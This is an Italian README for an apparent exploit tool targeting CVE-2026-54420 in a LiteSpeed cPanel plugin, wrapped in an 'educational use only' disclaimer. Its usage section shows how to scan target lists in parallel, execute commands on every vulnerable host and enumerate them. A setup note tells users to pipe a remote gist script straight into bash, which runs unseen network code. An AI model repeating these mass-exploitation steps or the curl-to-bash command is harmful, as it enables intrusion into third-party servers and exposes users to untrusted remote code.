CVE-2026-54420 LiteSpeed cPanel

⚡ Utilizzo Semplice

Usa questo progetto solo in ambienti sicuri e autorizzati, come:

• Macchine virtuali locali
• Container Docker
• Configurazioni di laboratorio isolate
• Ambienti di test di penetrazione autorizzati

Esempio di configurazione:

git clone <repository-url>
cd <repository-name>

# Il progetto usa Python, segui quanto segue

# Crea un ambiente virtuale
python -m venv venv

# Attiva l'ambiente virtuale

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Installa le dipendenze
pip install -r requirements.txt

Esempio di utilizzo:

# Scansione di un singolo target
python cve-2026-54420.py -t http://localhost:3000

# Scansione da file targets.txt
python cve-2026-54420.py -t targets.txt

# Scansione avanzata con tutte le opzioni
python cve-2026-54420.py -t targets.txt -v --threads 20 --timeout 15

# Esegui comando su tutti i target vulnerabili
python cve-2026-54420.py -t targets.txt -c "whoami" --verbose

# Salva risultati su file
python cve-2026-54420.py -t targets.txt --output results.json --format json

# Esegui enumerazione su tutti i target vulnerabili
python cve-2026-54420.py -t targets.txt --enum --threads 10

Nota:

• Se cloni da un altro progetto, devi eseguire curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y per pulire la directory .git annidata.
• Esempio: cve-2025-46822.sh, cve-2025-46822-lab.sh, ...

Crediti o Riferimenti

• https://thehackernews.com/2026/06/cisa-flags-litespeed-cpanel-plugin-flaw.html

📚 Repository Educativo per Ricerca sulla Sicurezza

Un repository per apprendere, testare e fare ricerca sui concetti di cybersecurity in ambienti controllati.

⚠️ Disclaimer Legale e di Sicurezza

Scopo

Questo repository è destinato esclusivamente a scopi educativi e di ricerca autorizzata sulla sicurezza.

È progettato per aiutare gli utenti a imparare su:

• Vulnerabilità di sicurezza
• Concetti di sandbox e isolamento
• Pratiche di codifica sicura e difensive

Solo Uso Autorizzato

Usa questo repository solo in ambienti in cui hai autorizzazione, come:

• Laboratori personali o macchine virtuali
• Ambienti Docker o isolati
• Test di penetrazione autorizzati
• Formazione sulla cybersecurity o ricerca accademica

L'uso non autorizzato o illegale è strettamente vietato.

Nessuna Responsabilità

L'autore e i contributori non sono responsabili per eventuali danni, usi impropri, problemi legali o perdite causati da questo progetto.

Usando questo repository, accetti che:

• Sei responsabile delle tue azioni
• Lo utilizzerai in modo legale ed etico
• Il progetto viene fornito senza garanzia

Uso Etico

Questo progetto è inteso per:

• Ricerca difensiva sulla sicurezza
• Educazione alla cybersecurity
• Consapevolezza delle vulnerabilità
• Ricerca su sistemi e software sicuri

Si prega di seguire le pratiche di divulgazione responsabile e di rispettare tutte le leggi applicabili.

Contatti

Per divulgazione responsabile o collaborazione, contatta il manutentore del repository tramite GitHub.